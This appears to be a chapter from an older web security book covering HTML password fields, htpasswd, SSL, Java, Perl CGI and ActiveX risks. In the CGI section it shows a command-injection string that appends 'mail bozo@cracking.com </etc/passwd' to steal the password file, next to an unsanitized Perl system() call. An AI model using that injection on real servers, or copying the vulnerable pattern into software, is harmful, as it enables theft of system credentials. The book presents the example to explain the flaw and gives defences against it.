|
|
Here examined are
the relationship between languages, extensions, and security.
Traditionally, the term language refers (in the computer world) to some form of
computer language, a set of common instructions that when properly assembled,
create a program or application. Most users are well aware of at least one
computer language: BASIC, Pascal, FORTRAN, C, C++, and so on. Such languages are
traditionally understood to be real languages because one can construct a
program with them that can thereafter run generally without need of external
support from an interpreter.
Language
So
much for tradition. Today, the climate is different. For example, the popularity
of shell languages, which are used primarily on the UNIX platform, has greatly
increased. They are written in a syntax that meets the requirements of the shell
or command interpreter of the given platform. These languages cannot create
entirely standalone programs that execute without a command interpreter, yet
these languages have become vastly popular. A programmer who can proficiently
program in such a language is almost guaranteed to land a job somewhere.
As such, these languages
stretch the definition of language itself. For even though these programs cannot
run without assistance from the underlying system, they are indeed full-fledged
programs that can and often do run various services and functions on the
Internet.
Similarly, there are
interpreted languages such as Perl that offer extreme power to the user. These
can often interface not just with their own interpreter, but with various shell
languages and system calls. They can even be nested within other language
constructs. A typical example would be a Perl script nested within a TCL script
or within a C program. These are bona fide languages that cross the barriers (or
perhaps bridge the gaps) between one or more real languages.
But where does the definition
of language stop? For example, Hypertext Markup Language (HTML) is a language,
even though it is completely useless unless interpreted by a hypertext reader
(Navigator, Internet Explorer, Grail, Arena, Lynx, Opera, Powerbrowser,
Netcruiser, and so forth). True, HTML is a language, but its application is
limited (PostScript stands in a similar light).
JavaScript and VBScript are
languages that actually stand squarely between Perl and HTML. JavaScript and
VBScript perform only a limited set of tasks. They are designed to be
interpreted by the browser, true, but unlike HTML, these languages perform tasks
dynamically (examples include getting and processing variables to perform a
calculation or other process). It is likely that in order to create a fully
functional and dynamic Web-page environment, you will use a combination of
languages.
That said, for the purpose of
this chapter, a language is any set of instructions that can perform more than
simple display processes, dynamically and without user intervention (that is,
any set of instructions that could potentially automate a task).
Extensions
In contrast, an extension is
any set of instructions, declarations, or statements that formulate one
application of a particular language. Extensions are elements of (or designed to
enhance) a particular language. Most commonly, the term extensions refers to
HTML extensions, the majority of which are proprietary.
For example, consider the use
of tables in HTML. Tables are extensions. They are statements that alter the
face of a Web page. The use of tables is becoming more common because tables
provide near-pixel-perfect control of the Web page's appearance. Extremely
high-end Web development packages use tables to offer almost word-processor
control of your Web page's look and feel. Fusion by NetObjects is an example of
this phenomenon. In a WYSIWYG environment, the user can place pictures, text,
sound, or video anywhere on the page. Tables mathematically plot out the
location. The final result is accomplished by using invisible table structures
that surround the object in question, thus giving the appearance of free-form
location of the object. Fusion by NetObjects is often referred to as the
"PageMaker of the WWW."
Perhaps the easiest way to
grasp the concept of extensions is to understand that they are statements that
extend the originally intended implementation of HTML. These are new features,
often proposed by proprietary entities such as Netscape or Microsoft. Most
extensions are designed to enhance the surfer's experience by offering more
dynamic visual or multimedia content. These are proprietary and only work in
browsers designed to read them.
HTML
On the surface, it sounds
silly. HTML is a non-dynamic language that cannot serve a purpose unless read by
a browser. How could it possibly have security implications? Well, it does. To
understand why and what measures are being undertaken to address those
implications, consider the original idea behind HTML. The intended purpose was
to provide a platform-independent method of distributing data. It so happens
that this original implementation was intended for use with plain (clear) text.
At its most simple, then, a Web page consists of clear text. Examine the
following HTML code:
<HTML>
<HEAD>
</HEAD>
<BODY>
<P >This is a
page</P>
</BODY>
</HTML>
Pretty simple stuff. This HTML
does no more than print a page that says This is a page. No extensions are used;
the page would be boring. However, we could add an extension to change the
background color to white:
<HTML>
<HEAD>
</HEAD>
<BODY bgcolor = "#ffffff">
<P >This is a
page.</P>
</BODY>
</HTML>
The <BODY> tag sets the
color. There are dozens of other tags we could use to add sound, animation,
video, and so forth. However, all these still appear in clear text. Likewise,
when you submit information in an HTML form, it is generally accepted (and
parsed by a Perl program or other CGI application) in clear text.
When the WWW was used primarily
for research and education, that was fine. The material could be intercepted
across a network, but there was a relatively low risk of this actually
occurring. However, time passed, and eventually people became concerned.
Extensions were added to the HTML specification, including a password field.
This field is called by issuing the following statement within a form:
INPUT TYPE=PASSWORD
This tag produces an input
field that does not echo the password to the screen. Instead, characters of the
password are represented by asterisks. Unfortunately, this field does very
little to enhance real security.
First, the main concern is not
whether someone standing over the shoulder of the user can see the password, but
whether someone intercepting traffic can. This password field does little to
prevent that. Moreover, the password field (which is used by thousands of sites
all over the world) does absolutely nothing to prevent someone from entering the
so-called protected site.
True, average users--when
confronted with a page so protected--shy away and assume that if they don't have
a password, they cannot get in. However, to anyone with even minimal knowledge
of HTML implementation, this is the modern equivalent of a "Beware of
Dog" or "Keep Off the Grass" sign. By venturing into the
directory structure of the target server, any user can bypass this so-called
security measure.
For example, suppose the
password-protected site's address was this:
•http://www.bogus_password_protection.com/~mypage
When a user lands on this page,
he or she is confronted by a field that asks for a password. If the incorrect
password is entered, a page (perhaps www.bogus_password_protection.com/~mypage/wrong.html)
is fed to the user to inform him or her of the authentication failure. On the
other hand, if the user enters a correct password, he or she is forwarded to a
page of favorite links, funny jokes, or whatever (for example,
www.bogus_password_protection.com/~mypage/jokes).
Using any garden-variety search
engine, one can quickly identify the pages beneath the password page. This is
done by issuing an explicit, case-sensitive, exact-match search string that
contains the base address, or the address where the HTML documents for that user
begin (in this case, http://www.bogus_password_protection.com/~mypage). The
return will be a list of pages that are linked to that page. Naturally, the
site's designer will include a Home button or link on each subsequent page. This
way, users can navigate through the site comfortably.
By
opening the location of all subsequent pages on that site, the user can bypass
the password protection of the page. He or she can directly load all the pages
that are loaded after a user provides the correct password. The only time that
this technique will not work is when the password field is tied to a password
routine that dynamically generates the next page (for example, a Perl script
might compare the password to a list and, if the password is good, a subsequent
page is compiled with time-sensitive information pulled from other variables,
such as a "tip of the day" page).
Password
protection is accomplished with any implementation of htpasswd. This program
(which comes stock with most Web server distributions) is designed to provide
real password authentication. You will know when you land on a site using
htpasswd because a dialog box demanding a password from the user is immediately
issued.
If the user enters the correct
password, he or she will be referred to the next page in sequence. However, if
the user fails to provide the correct password, he or she will be forwarded to a
page.
As authentication schemes go,
htpasswd is considered fairly strong. It relies on the basic HTTP authentication
scheme, but will also conform to MD5.
Who Can Use htpasswd?
Anyone can use htpasswd to
password protect any directory within his or her directory tree. That is, a
system administrator can protect an entire Web site, or a user can selectively
password protect directories within his or her /~user hierarchy. However, there
are some practical obstacles. First, the program must be available for you to
use. That means the following:
Ø
The
machine on which the site resides must be a UNIX box.
Ø
The
administrator there must have gotten htpasswd with the distribution of his or
her Web-server kit (NCSA; Apache also supports this utility).
Ø
The
administrator must have compiled the source to a binary or otherwise obtained a
binary. You may go to the directory and find that only the source is available
and the permissions are set to root as well.
Check whether all these
conditions are met. You can generally find the location of htpasswd (without
bothering your sysad) by issuing the whereis command at a shell prompt. However,
htpasswd is usually located in the /usr/local/etc/httpd/support directory.
What if My Sysad Doesn't Have
htpasswd and Won't Get It?
Some system administrators can
be difficult to get hold of, or may simply ignore user requests for the htpasswd
utility. If you encounter this situation, there is an alternative: htpasswd.pl.
htpasswd.pl is a Perl script designed to replace the current implementation of
htpasswd.
Using htpasswd Implementing
htpasswd takes only a few seconds. The first step is to create a file named .htaccess
in the target directory. This is a plain-text dot file that can be edited with
any editor on the UNIX platform (I prefer vi). The contents of the file will
appear as follows:
AuthUserFile /directory_containing_.htpasswd/.htpasswd
AuthGroupFile /directory_containing_a_group_file
AuthName ByPassword
AuthType Basic
<Limit GET>
require user _some_username_here
</Limit>
Let's go through each line:
Ø
The first
line specifies the AuthUserFile. This is where the actual passwords are stored,
in a file named .htpasswd (I will address the construct of that file
momentarily).
Ø
The
second line specifies the location of the group file (called .htgroup). This is
where usernames can be categorized into groups. In this example, we will not use
a group file because we do not have many groups.
Ø
The third
and fourth lines express the way in which the password will be authenticated.
(The technique being used is basic HTTP authentication because not all browsers
support MD5).
Ø
The
fifth, sixth, and seventh lines express which users are allowed to perform a GET
operation on the directory (that is, which users are allowed to access that
directory). This is where you put the username.
Next, you will create the .htpasswd
file. This file is a special file; it can be created with a regular editor, but
I would advise against it. Instead, use your version of htpasswd like so:
htpasswd -c /directory_containing_htpasswd/.htpasswd
username
This will create the file and
prompt you for a password for the username. You will have to type this password
twice: once to set it and once to confirm it.
If you examine the .htpasswd
file after you finish, you will see that it contains the username and an
encrypted string, which is the password in encrypted form. It will look
something like this:
username: o3ds2xcqWzLP7
At this point, the directory is
password protected. Anyone landing on that page will be confronted with a
password dialog box.
If you do not have Telnet
access, you really cannot perform the preceding operation. If your provider has
denied Telnet access, explain the situation; perhaps it can offer you Telnet on
a limited basis so you can set the htpasswd. I would not use a provider that did
not offer Telnet access, but there are many out there.
I
mentioned several security extensions to HTML earlier in this book. Now it's
time to get a bit more specific, examining each in turn.
Because the Web has now become
a popular medium for commerce, there is an enormous push for security in HTML.
Because the majority of garden-variety HTML traffic is in clear text, the
development of cryptographic and other data-hiding techniques has become a big
business. Thus, most of the proposals are proprietary. I will address two: the
Secure Sockets Layer (SSL) and S-HTTP.
Secure Sockets Layer (Netscape)
Secure Sockets Layer (SSL) is a system designed and proposed by Netscape
Communications Corporation. The SSL protocol supports a wide range of
authentication schemes. These can be implemented using various cryptographic
algorithms, including the now-popular DES. As reported by Netscape, in its
specification of SSL:
The primary goal of the SSL
Protocol is to provide privacy and reliability between two communicating
applications. The protocol is composed of two layers. At the lowest level,
layered on top of some reliable transport protocol (e.g., TCP[TCP]), is the SSL
Record Protocol. The SSL Record Protocol is used for encapsulation of various
higher level protocols. One such encapsulated protocol, the SSL Handshake
Protocol, allows the server and client to authenticate each other and to
negotiate an encryption algorithm and cryptographic keys before the application
protocol transmits or receives its first byte of data.
SSL has been characterized as
extremely secure, primarily because the connection security also incorporates
the use of MD5. The protocol therefore provides connection integrity as well as
authentication. The design of SSL has been deemed sufficiently secure that very
powerful software firms have incorporated the technology into their products.
One such product is Microsoft's Internet Information Server.
S-HTTP S-HTTP (Secure Hypertext Transfer Protocol) differs from SSL in several ways. First, Netscape's SSL is a published implementation; therefore, there is a wide range of information available about it. In contrast, S-HTTP is an often-discussed but seldom-seen protocol.
The main body of information
about S-HTTP is in the "Internet Draft" authored by E. Rescorla and A.
Schiffman of Enterprise Integration Technologies (Eit.com). Immediately on
examining that document, you can see that S-HTTP is implemented in an entirely
different manner from SSL. For a start, S-HTTP works at the application level of
TCP/IP communications, whereas SSL works at the data-transport level.
The problems with Web security
that stem from HTML are mainly those that involve the traffic of data. In other
words, the main concern is whether information can be intercepted over the
Internet. Because commerce on the Internet is becoming more common, these issues
will continue to be a matter of public concern.
As it currently stands, very
few sites actually use secure HTML technology. When was the last time you landed
on a page that used this technology? (You can recognize such pages because the
little key in the left corner of Netscape Navigator is solid as opposed to
broken.) This, of course, depends partly on what sites you visit on the WWW. If
you spend your time exclusively at sites that engage in commerce, you are likely
to see more of this activity. However, even sampling 100 commerce sites, the
number of those using secure HTTP technology is small.
Java and JavaScript are two
entirely different things, but they are often confused by nonprogrammers as
being one and the same. Here's an explanation of each:
Ø
JavaScript
is a scripting language created at Netscape Communications Corporation. It is
designed for use inside the Netscape Navigator environment (and other supported
browsers). It is not a compiled language, it does not use class libraries, and
it is generally nested within HTML. In other words, you can generally see
JavaScript source by examining the source code of an HTML document. The
exception to this is when the JavaScript routine is contained within a file and
the HTML points to that source. Standalone applications cannot be developed with
JavaScript, but very complex programs can be constructed that will run within
the Netscape Navigator environment (and other supported browsers).
Ø
Java,
developed by Sun Microsystems, is a real, full-fledged, object-oriented,
platform-independent, interpreted language. Java code requires a Java
interpreter to be present on the target machine and its code is not nested. Java
can be used to generate completely standalone programs. Java is very similar in
construct to C++.
JavaScript is far more easily
learned by a non-programmer; it can be learned by almost anyone. Moreover,
because Netscape Navigator and supported browsers already contain an
interpreter, JavaScript functions can be seen by a much wider range of users.
Java, in contrast, is to some degree dependent on class files and therefore has
a greater overhead. Also, Java applications require a real Java runtime
environment, a feature that many Netizens do not currently possess (users of
Lynx, for example). Finally, Java applets take infinitely more memory to run
than do JavaScript functions; although, to be fair, badly written JavaScript
functions can recursively soak up memory each time the originating page is
reloaded. This can sometimes lead to a crash of the browser, even if the
programmer had no malicious intent.
Of these two languages, Java is
far more powerful. In fact, Java is just as powerful as its distant cousin, C++.
Whole applications have been written in Java. HotJava, the famous browser from
Sun Microsystems, is one example. Because Java is more powerful, it is also more
dangerous from a security standpoint.
When Java was released, it ran
through the Internet like a shockwave. Programmers were enthralled by the
prospect of a platform-independent language, and with good reason. Developing
cross-platform applications is a complex process that requires a lot of expense.
For example, after writing a program in C++ for the Microsoft Windows
environment, a programmer faces a formidable task in porting that application to
UNIX.
Special tools have been
developed for this process, but the cost of such engines is often staggering,
especially for the small outfit. Many of these products cost more than $5,000
for a single user license. Moreover, no matter what conversion vendors may claim
about their products, the porting process is never perfect. How can it be? In
anything more than a trivial application, the inherent differences between X and
Windows 95, for example, are substantial indeed. Quite frequently, further human
hacking must be done to make a smooth transition to the targeted platform.
With these factors in mind,
Java was a wonderful step forward in the development of cross- platform
applications. Even more importantly, Java was designed (perhaps not initially,
but ultimately) with components specifically for development of
platform-independent applications for use on the Internet. From this, we can
deduce the following: Java was a revolutionary step in Internet-based
development (particularly that type of development that incorporates multimedia
and living, breathing applications with animation, sound, and graphics). It is
unfortunate that Java had such serious security flaws.
I'd like to explain the process
of how Java became such a terrific security issue on the Internet. This may help
you understand the concept of how security holes in one language can affect the
entire Net community.
Certain types of languages and
encryption routines are composed of libraries and functions that can be
incorporated into other applications. This is a common scenario, well known to
anyone who uses C or C++ as a programming language. These libraries consist of
files of plain text that contain code that defines particular procedures,
constant variables, and other elements that are necessary to perform the desired
operation (encryption, for example). To include these libraries and functions
within his or her program, the programmer inserts them into the program at
compile time. This is generally done with an #include statement, as in
#include
<stdio.h>
After
these routines have been included into a program, the programmer may call
special functions common to that library. For example, if you include crypt() in
your program, you may call the encryption routines common to the crypt library
from anywhere within the program. This program is then said to have crypt within
it and, therefore, it has cryptographic capabilities.
Java was such the rage that
Netscape Communications Corporation included Java within certain versions of its
flagship product, Navigator. That means supported versions of Netscape Navigator
were Java enabled and could respond to Java programming calls from within a Java
applet. Thus, Java applets could directly affect the behavior of Navigator.
Occasionally,
just occasionally, a product emerges from the Internet that is truly
magnificent. Perl is once such product. What started as a small project for
Larry Wall (Perl's creator) turned into what is likely the most fluid, most
easily implemented language ever created.
Imagine a programming language
that combines some of the very best attributes of languages such as C, sed, awk,
and BASIC. Also, remember that the size of Perl programs are a fraction of what
compiled C programs consume. Finally, Perl is almost too good to be true for
creating CGI applications for use on the WWW. Manipulation of text in Perl is, I
think, unrivaled by any computer language.
Perl is heavily relied on as a
tool for implementing CGI. Like most programming tools, Perl does not contain
many inherent flaws. However, in inexperienced hands, Perl can open a few
security holes of its own.
CGI is a relatively new
phenomenon. It is of significant interest because it offers an opportunity for
all programmers to migrate to Web programming. Essentially, CGI can be done on
any platform using nearly any language. The purpose of CGI is to provide
dynamically built documents and processes to exist on the World Wide Web.
Dynamic here means that the
result will vary depending on user input. The result--usually a newly formed Web
page--is generated during the CGI process. The easiest way for you to understand
this is to examine a Perl script in action.
System calls are one common
source of break-ins. A system call is any operation in Perl (or any language)
that calls another program to do some work. This other program is most often a
commonly used command that is part of the operating system or shell.
System calls are generally
evoked through the use of the function system(). C programmers who work with the
Microsoft platform (whom I am especially targeting here) will recognize this
call because in order to use these calls, they may have to include the dos.h
(and perhaps even the process.h) file in their compiled program. For those
programmers migrating from a Microsoft platform (who may be new to Perl), this
point in very important: In Perl, a system call does not require includes or
requires. It can be done simply by issuing the call. If the call is issued and
no prior check has been made on user input, security issues arise. Issuing a
system call in Perl works like this:
system("grep $user_input
/home/programmer/my_database")
System calls of this nature are
dangerous because one can never anticipate what the user will enter. True, the
majority of users will input some string that is appropriate (or if not
appropriate, one that they think is appropriate). However, crackers work
differently. To a cracker, the main issue is whether your CGI has been written
cleanly. To determine whether it has, the cracker will input a series of strings
designed to test your CGI security technique.
Suppose you actually had the
preceding system call in your CGI program. Suppose further that you provided no
mechanism to examine the character strings received from STDIN. In this
situation, the cracker could easily pass commands to the shell by adding certain
metacharacters to his or her string.
Almost all shell environments
(MS-DOS's command.com included) and most languages provide for execution of
sequential commands. In most environments, this is accomplished by placing
commands one after another, separated by a metacharacter. A metacharacter might
be a pipe symbol (|) or semicolon (;). In addition, many environments allow
conditional command execution by placing commands one after another, separated
by special metacharacters. (An example is where execution hinges on the success
or failure of the preceding command. This style works along the lines of
"If command number one fails, execute command number two" or even
"If command number one is successful, forget command number two.")
If your CGI is written poorly
(for example, you fail to include a mechanism to examine each submitted string),
a cracker can push additional commands onto the argument list. For example, the
classic string cited is this:
user_string;mail bozo@cracking.com
</etc/passwd
In this example, the /etc/passwd
file is mailed to the cracker. This works because the semi-colon signals the
interpreter that another command is to be executed after the grep search is
over. It is the equivalent of the programmer issuing the same command. Thus,
what really happens is this:
system("grep $user_input my_database $user_string; mail bozo@cracking.com
</etc/passwd");
You should think very carefully
about constructing a command line using user input, and avoid doing so if
possible. There are many ways around this. One is to provide check boxes, radio
lists, or other read-only clickable items. Presenting the user with choices in
this manner greatly enhances your control over what gets read into STDIN. If
possible, avoid system calls altogether.
System call problems are not
new, nor are they difficult to remedy. The solution is to check the user's input
prior to passing it to a function. There are several actions you can undertake:
Ø
In
checking for illegal characters, forbid acceptance of user input that contains
metacharacters. This is most commonly done by issuing a set of rules that allow
only words, as in ~ tr/^[\w ]//g.
Ø
Use
taintperl, which forbids the passing of variables to script system calls invoked
using the system() or exec() calls. taintperl can be invoked in Perl 4 by
calling /usr/local/bin/taintperl and in Perl 5 by using the -T option when
invoking Perl (as in #!/usr/bin/local/perl -T).
Perl also has some built-in
security features in this regard. For example, as this excerpt from the Perl man
pages notes, the following is what happens when treating setuid Perl scripts
(those that require special privileges to run):
When Perl is executing a setuid
script, it takes special precautions to prevent you from falling into any
obvious traps. (In some ways, a Perl script is more secure than the
corresponding C program.) Any command line argument, environment variable, or
input is marked as "tainted", and may not be used, directly or
indirectly, in any command that invokes a subshell, or in any com-mand that
modifies files, directories, or processes. Any variable that is set within an
expression that has previously referenced a tainted value also becomes tainted
(even if it is logically impossible for the tainted value to influence the
variable).
So many holes have been found
in Microsoft Internet Explorer that one scarcely knows where to start. However,
I want to run through them quickly. You may wonder why I have waited until this
chapter to address Internet Explorer. My reasoning is largely based on the fact
that some of the holes in Internet Explorer are related to ActiveX technology.
Some explanation is in order
here; if I omit such explanation, I will be charged by Microsoft with false
reporting. The corporation is in an extremely defensive position these days, and
not without reason. Here, then, is the mitigating information
Microsoft is well known for its
ability to create attractive, eye-pleasing applications. Moreover, such products
are designed for easy use to allow even the most intimidated individual to grasp
the basic concepts within a few hours. In this respect, Microsoft has evolved
much in the same way as Apple Computer. Consider, for example, the incredible
standardization of design that is imposed on products for use in the Microsoft
environment.
In the Microsoft world, menus
must be at least somewhat consistent with general Windows design. Thus, almost
any application designed for Microsoft Windows will have a list of menus that
runs across the top of the program. Three menu choices that you will invariably
see are File, Edit, and Help (other menu choices that are still very popular but
appear less frequently include View, Tools, Format, and so forth). By designing
applications that sport such menus, Microsoft ensures that the learning curve on
those applications is minimal. In other words, if you know one Microsoft
program, you pretty much know them all. (This is similar to the way every
application melts its menus into the bar at the top of the MacOS desktop.)
Microsoft has thus created its
own standards in a market that previously adhered to few rules. In this respect,
Microsoft has revolutionized the PC computing world. Furthermore, because
Microsoft products are so popular worldwide, programmers rush to complete
applications for use on the Microsoft platform. Along that journey, programmers
must strictly adhere to design standards set forth by Microsoft--well they must
if they seek that approval sticker on the box. If the U.S. Attorney General is
looking for an antitrust issue, she might find one here.
Moreover, Microsoft has put
much effort into application integration and interoperability. That means an
Excel spreadsheet will seamlessly drop into a Word document, an Access database
will interface effortlessly with a Visual Basic program, and so on. All
Microsoft products work in an integrated fashion.
To perform such magic,
Microsoft designed its products with components that meet certain criteria. Each
of these applications contain building blocks that are recognizable by the
remaining applications. Each can call its sister applications through a language
that is common to them all. This system gives the user an enormous amount of
power. For example, one need not leave an application to include disparate types
of media or information. This design increases productivity and provides for a
more fluid, enjoyable experience. Unfortunately, however, it also makes for poor
security.
Internet Explorer was designed
with this interoperability in mind. For example, Internet Explorer was, at the
outset, more integrated with the Windows operating system than, say, Netscape's
Navigator. Mr. Gates undoubtedly envisioned a browser that would bring the
Internet to the user's desktop in the same manner as it would a local
application. In other words, Internet Explorer was designed to bring the
Internet to the user in a form that was easy to understand, navigate, and
control. To its credit, Microsoft's merry band of programmers did just that. The
problem with Microsoft's Internet Explorer, then, is that it fulfills its
purpose to the extreme.
In a period of less than two
weeks in early 1997, Internet Explorer was discovered to have three serious
security bugs:
Ø
Students
at a university in Maryland found that they could embed an icon on a Web page
that would launch programs on the client user's computer. Microsoft posted a
public advisory on this issue on its WWW site. In it, the company explained:
If a hacker took advantage of
this security problem, you could see an icon, or a graphic in a Web page, which
is, in fact, within a regular Windows/Windows NT 4.0 folder of the Web site
server or your computer. The hacker could shrink the frame around the icon or
graphic so that you would think it was a harmless, when in fact it allows you or
anyone else to open, copy, or delete the file, or run a program that could, if
the author has malicious intent, damage your computer. You can launch the
program because the folder bypasses the Internet Explorer security mechanism.
Microsoft Corporation has put a
great deal of effort into selling ActiveX to the public. However, even without
examining the security risks of ActiveX (and there are some serious ones), I can
tell you that ActiveX has its pitfalls. Here are two very practical reasons not
to use ActiveX:
Ø
For the
moment, only those using Microsoft Internet Explorer benefit from ActiveX.
Hundreds of thousands (or even millions) of people will be unable to view your
page in its fully functional state.
Ø
Even
those sites that have the capability to view ActiveX may purposefully screen it
out (and forbid their users to accept ActiveX controls). Many sites (as you will
see) have taken a very active stance against ActiveX because it is insecure.
A article by Ellen Messmer in
Network World provides some insight into the sentiments of private corporations
regarding ActiveX:
Like many companies, Lockheed
Martin Corp. has come to rely on Microsoft Corp. technology. But when it comes
to Lockheed's intranet, one thing the company will not abide is ActiveX, a
cornerstone of Microsoft's Web efforts. The reason? ActiveX can offer virus
writers and hackers a perfect network entree. `You can download an ActiveX
applet that is a virus, which could do major damage,' explains Bill Andiario,
technical lead for Web initiatives at Lockheed Martin Enterprise Information
Systems, the company's information systems arm. `Or it could grab your
proprietary information and pass it back to a competitor, or worse yet, another
country.*
*reference: Ellen Messmer's "ActiveX Marks New Virus Spot" (Network World) can be found on the Web at http://www.nwfusion.com/.
So, What Is the Problem with ActiveX?
The problem with ActiveX was
summed up concisely by the folks at JavaSoft:
ActiveX...allows arbitrary binary
code to be executed, a malicious ActiveX component can be written to remove or
alter files on the user's local disk or to make connections to other computers
without the knowledge or approval of the user. There is also the risk that a
well-behaved ActiveX component could have a virus attached to it. Unfortunately,
viruses can be encrypted just as easily as ordinary code.
The problem seems more serious
than it is. Only those who use the Microsoft platform can be real victims. This
is because the majority of Microsoft products (NT excluded) do not provide
access control. Thus, if a malicious ActiveX control breaks through, it has
access to the entire hard drive of the user. In UNIX, this is not possible
because of the file permissions and access control. Under the UNIX environment,
a malicious applet would never get farther than the current user's directory.
Microsoft has fallen victim to its
own efficiency. It has created a tool that is so open and so finely related to
its operating system that it is, in effect, the ultimate security risk for
Microsoft users.
Some forces at Microsoft have
taken the position that the CCC incident proves that individuals should not
accept unsigned code. That is, the folks at Microsoft have taken this
opportunity to grandstand their plan to have all code digitally signed. However,
this runs right back to the issue I discussed earlier about certificates and
signatures. Why is Microsoft so intent on having everyone, including
programmers, identify themselves? Why should a programmer be forced to sign his
or her applications simply because ActiveX is not secure?
ActiveX technology should be
redesigned, but that responsibility rests squarely on the shoulders of
Microsoft. After all, the risks posed are significant only for Microsoft's own
users. Remember that at least for the moment, Microsoft's Internet Explorer is
the only browser that truly supports ActiveX.
It is doubtful that ActiveX will
ever be completely restricted from accessing portions of an individual's hard
disk drive because of the relation the technology has with components like
Visual Basic. Those familiar with Visual Basic know that certain commands within
it allow you to control Microsoft applications from a remote location, even if
you don't have a low-level (such as DDE) conversation with the targeted program.
(The SendKeys function is a perfect example of such functionality.)
However, because the benefits of
ActiveX technology are so very dramatic, it is likely that ActiveX will continue
to gain popularity in spite of its security flaws. In the end, ActiveX is
nothing but OLE technology, and that is at the very base of the Microsoft
framework. By exploring this, you can gain some insight into what ActiveX can
really do.
To begin to understand what OLE is
about, consider this: OLE is a technology that deals with compound documents, or
documents containing multiple types of data or media. In older, cut-and-paste
technology, such elements (when extracted from their native application) would
be distorted and adopt whatever environment was present in the application in
which they were deposited (for example, dropping a spreadsheet into a
word-processor document would jumble the spreadsheet data). In OLE, these
objects retain their native state, irrespective of where they end up. When a
document element ends up in an application other than its own, it is called an
embedded object.
Each time you need to edit an
embedded object, the original, parent application is called so the editing can
take place in the element's native environment (for example, to edit an Excel
spreadsheet embedded in a Word document, Excel is launched). However, in
advanced OLE, the user never sees this exchange between the current application
and the parent. The security implications of this are obvious. If an ActiveX
control can masquerade as having been generated in a particular application, it
can cause an instance of that application to be launched. After the application
has been launched, it can be "remote controlled" from the ActiveX
component. The implications of this are devastating.
So, Microsoft is faced with a
dilemma. It has an excellent extension to the Web, but one that poses critical
security risks. What remains is time--time in which Microsoft can come up with
practical solutions for these problems. In the interim, you would be wise to
disable ActiveX support in your browser. Otherwise, you may fall victim to a
malicious ActiveX control. And, the danger posed by this dwarfs the dangers
posed by Java applets. In fact, there is no comparison.